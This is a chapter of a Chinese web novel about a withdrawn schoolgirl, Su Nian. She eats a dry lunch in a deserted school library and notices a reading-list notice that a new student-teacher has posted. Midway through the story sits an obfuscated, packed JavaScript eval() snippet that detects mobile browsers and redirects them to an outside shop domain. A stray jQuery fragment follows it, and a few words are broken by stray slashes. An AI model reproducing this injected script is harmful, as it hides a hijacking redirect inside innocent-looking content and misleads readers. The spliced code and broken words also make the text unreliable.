上午最后一节是数学课。
下课铃打响，刘国强没有停笔的意思，粉笔在黑板上敲击出脆响。
坐在前排的男生开始躁动，在凳子上扭动。陈小满趴在桌上，按压圆珠笔发出咔哒声。
“这道几何题，辅助线一画，答案就出来了。”刘国强转过身，把粉笔头扔进粉笔盒，拍掉手上的灰，“下课。”
教室里炸开了锅。
陈小满从座位上跳起，拽住前座的刘思思：“快走，今天食堂有糖醋排骨，去晚连汤都没了！”
两人冲向后门，陈小满的校服下摆带倒了苏念桌角的书。
书本砸在地上。
陈小满跑出教室，声音从走廊传来：“思思你跑快点！”
苏念弯下腰，捡起地上的书，拍掉封面脚印，重新在桌角码放整齐。
教室里的人走了一/大半。
前排传来笑声，周雨晴背着双肩包，手里拿着纸袋。
“校门口新开的那家寿司店我尝过了，味道还行。”周雨晴对着身边的女生开口，“中午我请客，走吧。”
“班长真好！”王莉莉挽住周雨晴的胳膊。
“张逸飞今天没交作业，被老刘叫去办公室骂了，估计赶不上跟我们去吃了。”周雨晴捂嘴笑。
“管他呢，他那种差生吃什么都一样。”另一个女生附和。
周雨晴笑着没接话，整理裙摆。
经过最后一排时，周雨晴直视前方。
苏念坐在座位上看着她们走出教室，明白周雨晴那句话是故意说给全班听的，张逸飞坐在苏念前面，周雨晴总能用随意的语气划清界限。
苏念不在乎这些，只在乎自己的午饭。
她拉开书包拉链，里面塞着保鲜袋。袋子表面发乌，留有昨晚装包子的油迹。
她拿出保鲜袋揣进口袋，口袋鼓起一个包。
苏念起身走出教室。
走廊上满是端饭盒与背书包的学生。
苏念贴着墙根逆行向上。
她走到三楼转角，迈上通往四楼的台阶。
四楼没有教室，只有美术室、杂物间和旧图书馆。
平时没人上来，越往上走周围越静，三楼的喧闹声落在身后。
苏念走到四楼走廊，这里光线偏暗，头顶的白炽灯坏了两个。
走廊尽头是一扇木门。门上挂着木牌，白漆写着“图书室”。漆皮剥落，书字少了一半。
苏念走过去推门，门轴缺油发出摩/擦声。
屋内弥漫着纸张和灰尘混合的味道。
图书馆不大，六排木质书架并排立着，挡住部分光线。
窗户玻璃破了一块，被人用宽胶带贴了几道。
门口放着办公桌，管理员大爷坐在桌后。他头发花白，戴着老花镜，手里举着《碧城晚报》。
桌上放着搪瓷茶缸，里面泡着浓茶。
听到推门声，大爷抬起眼皮看苏念一眼。
他没有询问，视线落回手里的报纸上翻过一页，报纸发出声响。
苏念没出声，放轻脚步顺着书架间的通道往里走。
她喜欢这个大爷，因为他不说话。
她走到里面靠窗的位置。这里摆着长条桌，桌面积着灰。只有角落的位置干净。
这是她初一开学找到的地方，她的专属座位。苏念拉开椅子坐下。
她掏出保鲜袋放在桌上，解开袋口死结。
里面是两个馒头外加一包榨菜。馒头是姜翠花早上买的，放了四个小时表皮发硬。
苏念撕开榨菜包装袋，咸香味飘出。
她掰下馒头放进嘴里，再捏起榨菜塞进去咀嚼。
馒头干硬，咽下时喉咙发紧。她没带水，只能放慢咀嚼速度，靠唾液软化面团。
早上姜翠花给她塞了十块钱，让她中午去食堂吃饭。那张纸币现在躺在她的存钱罐里。
食堂便宜的素菜要三块，米饭一块，十块钱够吃两顿。苏念不想去食堂。
食堂里人声嘈杂，学生成群结队占座。端着餐盘找空位时，打量的视线会让她不自在。
她宁愿在这里吃干馒头。
榨菜红油沾在手指上，她舔掉油渍，不弄脏桌面。
周围安静。
大爷在前面偶尔咳嗽，端起茶缸喝水，发出吞咽声。
窗外阳光透过玻璃照进来，在桌面上投下光影。
苏念咽下馒头，从旁边书架抽出一本书，翻开字迹模糊的封面。
扉页贴着手写借阅卡，盖着日期戳。新的借阅记录停留在五年前。
苏念靠在椅背上翻开第一页。这是关于航海的游记，作者记录了在南太平洋的见闻。
书页泛黄，散发着樟脑丸气味。
苏念看着书里文字。作者写到风暴时的海浪、甲板上腐蚀的铁锈和夜晚的南十字星。
苏念没见过海，她去过远的地方是碧城市郊区的批发市场，过年前姜翠花会带她去那里买衣服。
此刻她坐在四楼角落，脑子里全是太平洋的咸腥味。
这里没有陈小满的抱怨、刘国强的粉笔灰和姜翠花关于成绩的唠叨，只有印在纸张上的铅字。
铅字带她离开碧城和出租屋，漂浮在海面上。
苏念看了四十分钟，每一页看得很慢。这本游记她看了一半，按现在的速度还能看一个星期。
手腕上电子表发出滴滴声，距离下午上课还有十五分钟。
她合上书，把借阅卡夹回扉页，起身将书插回原位。
桌面掉落几点馒头渣。苏念伸出食指聚拢碎屑，扫进手心。
她拿着保鲜袋和榨菜包装走到垃圾桶旁扔进去，顺着原路往外走。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849256|211777||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
经过办公桌时大爷正整理报纸。“慢走。”大爷嗓音沙哑。
苏念停步转头看大爷。大爷没抬头，正把报纸对折。
“谢谢。”苏念出声。大爷手上动作没停，随意摆手。
苏念推开木门走出去，走廊安静，她准备下楼。
转身时她看到对面墙上贴着A4纸。
墙上钉着软木板，平时用来张贴学校通知，那张纸边角平整。
标题印着几个字：本学期推荐阅读。落款处盖着公章：语文组。
苏念走到软木板前。纸上列着《钢铁是怎样炼成的》《骆驼祥子》《繁星·春水》《朝花夕拾》，全是必考书目。
苏念看了一眼，觉得没劲。这些书她小学就看过了，图书馆里的版本全被翻得掉页。
学校总把东西框在考试范围里，阅读也是。她收回视线准备离开。
视线扫过纸张下方，那里有一行小字，不仔细看发现不了。
苏念凑近。“如有同学希望推荐新书入馆，请联系语文组老师。”
苏念盯着这行字。她在这所学校待了一年半，旧图书馆里的书永远是那些，借阅卡记录停留在建校头几年。
没人提过新书，更别说让学生推荐。
苏念脑海里闪过几本书名。那是她在新华书店里看到的小说，塑封膜包着，定价四十五块钱。
她想看，买不起也借不到。如果真能推荐……联系语文组老师？
苏念脑海里浮现出教语文的王建国。他上课照着教参念答案，念完让学生背诵。
上周苏念在作文里写了课外书上的话，被王建国在全班面前批评不务正业。
他会管图书馆进什么新书？苏念觉得荒谬。学校这种通知向来走形式，贴出来做样子。
她居然当真了，她站了一会儿，盯着语文组公章。
楼下传来预备铃声，传到四楼时发闷。苏念转身顺着楼梯往下走。
走到三楼转角时她回头看四楼走廊。那张纸贴在软木板上。她想，那行小字本身是个排版错误。
下午第一节是语文，苏念踩着铃声走进教室。
教室里吵闹，张逸飞站在椅子上挥舞扫把。苏念低头穿过过道，走到后排靠窗位置坐下。
她掏出语文课本，教室喧闹声消失。
苏念抬头，班主任刘国强站在讲台上。旁边站着个年轻女人，女人穿着白衬衫，扎着马尾。
“给大家介绍一下。”刘国强敲黑板，“这是新来的实习老师林知意，接下来一个月，她负责咱们班语文课，兼任副班主任。”
林知意往前走了一步，她没有看前排学生，视线投向教室后排，停在靠窗角落。
“同学们好。”林知意开口，“我刚才在四楼图书馆门口贴了一张书单。”
苏念手指捏住课本。